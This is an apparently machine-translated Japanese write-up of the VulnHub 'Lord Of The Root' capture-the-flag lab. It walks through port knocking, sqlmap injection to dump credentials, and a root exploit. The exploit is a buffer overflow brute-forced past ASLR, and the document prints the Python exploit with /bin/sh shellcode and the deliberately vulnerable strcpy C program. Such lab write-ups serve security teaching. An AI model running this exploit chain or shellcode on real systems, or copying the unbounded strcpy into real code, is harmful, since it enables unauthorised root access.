VulnHub:ルートバッファオーバーフローの脆弱性を悪用





VulnHubを使用してクエストの分析を続けていますが、今回はASLRのバイパスであるLord Of The Rootで非常に興味深いものになりました。 しかし、まず最初に...



イメージを使用してvirtualkaを起動します。









すでに興味深い。 このラボでは、グラフィカルインターフェイスを提供し、ユーザーログインとしての最初の手がかりを提供しました: smeagol



ただし、ここでは承認をそのままにして、開いているポートに移動します。



$ sudo arp-scan -l | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
      
      





2016-12-21 19:33 MSKにNmap 7.01( nmap.org )を開始

192.168.1.175のNmapスキャンレポート

ホストは稼働中です(0.00033秒の遅延)。

表示なし:999個のフィルタリングされたポート

ポートステートサービスバージョン

22 / tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3(Ubuntu Linux;プロトコル2.0)

| ssh-hostkey:

| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd(DSA)

| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1(RSA)

| _ 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37(ECDSA)

MACアドレス:08:00:27:40:B5:B3(Oracle VirtualBox仮想NIC)

警告:少なくとも1つの開いたポートと1つの閉じたポートが見つからなかったため、OSScanの結果は信頼できない可能性があります

デバイスタイプ:汎用

実行中:Linux 3.X | 4.X

OS CPE:cpe:/ o:linux:linux_kernel:3 cpe:/ o:linux:linux_kernel:4

OSの詳細:Linux 3.10-3.19、Linux 3.2-4.0

ネットワーク距離:1ホップ

サービス情報:OS:Linux; CPE:cpe:/ o:linux:linux_kernel


1ポートのみ? ほんと? nmapを再度実行することにより、これまでのところsshのみが利用可能になっていることを確認します。 接続してみましょう:



 $ ssh smeagol@192.168.1.175
      
      







「友人をノックして」 -ロードオブザリングへの言及。 元の友人メロンであることをすぐに見つけて、ログインしようとします。



試行は失敗し、ブルートフォースログインおよびトピックのパスワードの可能性も失敗しました。



私はすでにポートノッキングを扱っているノックという言葉に恥ずかしかったです、私はそれがここで使用されていると仮定しました。



推測を確認してください:



 $ sudo knock 192.168.1.175 1 2 3; ssh smeagol@192.168.1.175
      
      





残念ながら、何も変わっていません。 まだ承認が必要です。 しかし、「ノック」の後、いくつかのポートが開いたらどうなるでしょうか?



 $ sudo knock 192.168.1.175 1 2 3; sudo nmap 192.168.1.175 -sV -p1-65535
      
      





久しぶりに、次の結果が得られます。



2016-12-22 02:42 MSKにNmap 7.01( nmap.org )を開始

192.168.1.175のNmapスキャンレポート

ホストが稼働しています(0.00020秒の遅延)。

ポートステートサービスバージョン

22 / tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3(Ubuntu Linux;プロトコル2.0)

1337 / tcp open http Apache httpd 2.4.7((Ubuntu))

MACアドレス:08:00:27:39:91:65(Oracle VirtualBox仮想NIC)

サービス情報:OS:Linux; CPE:cpe:/ o:linux:linux_kernel


PSここでは、プロセスを高速化するために、小さい範囲のポートをスキャンすることをお勧めします。



実際、Apacheは「エリート」ポートで回転しています。そこにあるものを見てみましょう。









 <html> <img src="/images/iwilldoit.jpg" align="middle"> </html>
      
      





冗長ではありません...写真を分析した後、何も見つかりませんでした。 おそらく隠しファイルとディレクトリがありますか?



 sudo dirsearch -u http://192.168.1.175:1337/ -e php,html,js,json,jpg,txt,bak -w /usr/share/dirb/wordlists/big.txt
      
      









おもしろいことは何もありませんが、 404.htmlを見ると、別の画像が得られます。







そして、ここにコードがあります:



 <html> <img src="/images/hipster.jpg" align="middle"> <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh> </html>
      
      





しかし、これは何かです! デコード:



 $ echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer! $ echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d /978345210/index.php
      
      





別の古いページにリンクして、そこに行きます:







認可...まず、SQLインジェクションをチェックします。



 $ sudo sqlmap -u 'http://192.168.1.175:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' -vv
      
      









リダイレクトされました。 検索続けるようにsqlmapに指示したのでprofile.phpページの内容を確認します。 見つかったペイロードを使用してログインします。





 <!DOCTYPE html> <html> <head> <title>LOTR Profile</title> </head> <body> <div id="profile"> <b id="welcome">Welcome : <i></i></b> <br> <img src="/images/legolas.jpg" align="middle"><br> <b id="logout"><a href="logout.php">Log Out</a></b> </div> </body> </html>
      
      





ここでは何も興味深いものが見つからないので、注入をほどき続けます。



 $ sudo sqlmap -u 'http://10.0.31.127:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' --dbms=MySQL -p username --tables --risk=3 --level=2
      
      





データベース: Webappおよび唯一のテーブル: ユーザーはsqlmapログにアクセスしました。 ダンプの後、ログインとパスワードのリストを取得します。







ユーザーsmeagolがいて 、Webからのパスワードがシステムからのパスワードと同じであるという事実に依存して、ログインしてデスクトップを取得しようとします。 いいね!



チームの歴史には次のエントリがあります。

smeagol @ LordOfTheRoot:〜$ cat .bash_history

su-sudo / etc / passwod

ビスド

smeagol @ LordOfTheRoot:〜$


ブラウザーを開いた後、履歴でこのラボの作成段階全体を追跡できます。







すぐに、バッファオーバーフローの脆弱性の説明へのリンクが表示されます。



次に、システムの簡単な検査中に、次の内容の/ SECRETフォルダーを見つけます。







記事を読んだ後、これらのファイルの1つに脆弱性が記載されていることを理解し、以下にエクスプロイトの例を示します。 どのファイルを理解するのかは不明です。 それらをダウンロードしてIDAで開きます。仮想マシンのgdbのファンは、それを使用できます。







/ SECRET / door1 /ファイル







/ SECRET / door2 /ファイル







/ SECRET / door3 /ファイル



したがって、必要なファイルは「2番目のドア」の後ろにあります。注意深く見ると、このファイルのサイズが他のファイルよりも小さいことがわかります。 エクスプロイトをコピーし、コンパイルし、実行しますが、何もしません。 他の数字に置き換えようとしますが、再び何もしません。



このファイルを仮想マシン上のgdbで直接開くと、変更されていることがわかります。 ああ、どのように...しばらく観察した後、脆弱なファイルがこれらのディレクトリ間を常に「移動」していることに気付きます。



その後、このエクスプロイトを使用しようとして失敗した一連の試みがありました。すべての試みに対して、何の見返りも得られなかったか、セグメンテーション違反または不正な命令エラーでした。

多くの実験を行い、入力行を処理する前後にレジスタとスタックのステータスを表示した後、スタックアドレスがすべて0xBF000000から0xBFFFFFFFの範囲で変化することに気付きました



コマンドを実行することにより:



 $ cat /proc/sys/kernel/randomize_va_space 2
      
      





システムにASLRが含まれていることを確認します。 それを回避する方法はいくつかありますが、それらはすでに何度か書かれています。 メモリーの変更範囲がそれほど大きくなく、ファイルが単純すぎて複雑にならないため、BruteForceに決めました。



GDB Pedaが必要になります。



まず、戻りアドレスが存在するオフセットを決定する必要があります。それを書き換える必要があります。







デバッガでファイルを実行し、引数として非常に長い行を渡します







すばらしいです、返信先(EIP)は私たちの値で書き換えられます。



さらに、 pedaのテンプレートを使用して、このアドレスが配置されているオフセットを自動的に決定できます。 テンプレートを作成します。







そして、起動後、次のようなものが得られます。







オフセットが見つかったため(スタックアドレスの平均値を取得しました)、エクスプロイトの作成を開始できます。 そこで、 pedaでは、オプションでシェルコードを生成できます。







ただし、他のバイアスがある可能性があることをすぐに警告する必要があります。



 #!/usr/bin/python import struct import os def p(x): return struct.pack("<L", x) shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" payload = "" payload += "A"*171 payload += p(0xbfb1c5ec) payload += "\x90"*30000 payload += shell def getFile(): output = subprocess.Popen(['find', '/SECRET/', '-type', 'f', '-size', '-7k'], stdout=subprocess.PIPE) path = output.communicate()[0] path = path.decode().strip() return path while True: os.system('%s "%s"' %(getFile(), payload)) #os.system('gdb --args %s "%s"' %(getFile(), payload))
      
      





開始後、大量のエラーが発生し、しばらくするとルートアクセスが取得され、フラグが設定されます。







PS気にする人、これはソースコードがどのように見えるか、ファイルを変更するスクリプト、脆弱なプログラムです。 switcher.pyスクリプトは、cronに登録されました。



switcher.py
 #!/usr/bin/python import os from random import randint targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"] for t in targets: os.system("rm "+t+"*") os.system("cp -p other "+t) os.system("cp -p "+t+"other "+t+"file") os.system("rm "+t+"other") luckyDoor = randint(0,2) t=targets[luckyDoor] os.system("rm "+t+"*") os.system("cp -p buf "+t) os.system("cp -p "+t+"buf "+t+"file") os.system("rm "+t+"buf")
      
      







other.c
 #include <string.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buff[150]; if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } //This Program does nothing return 0; }
      
      







buf.c
 #include <string.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buff[159]; if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } strcpy(buff, argv[1]); return 0; }
      
      








All Articles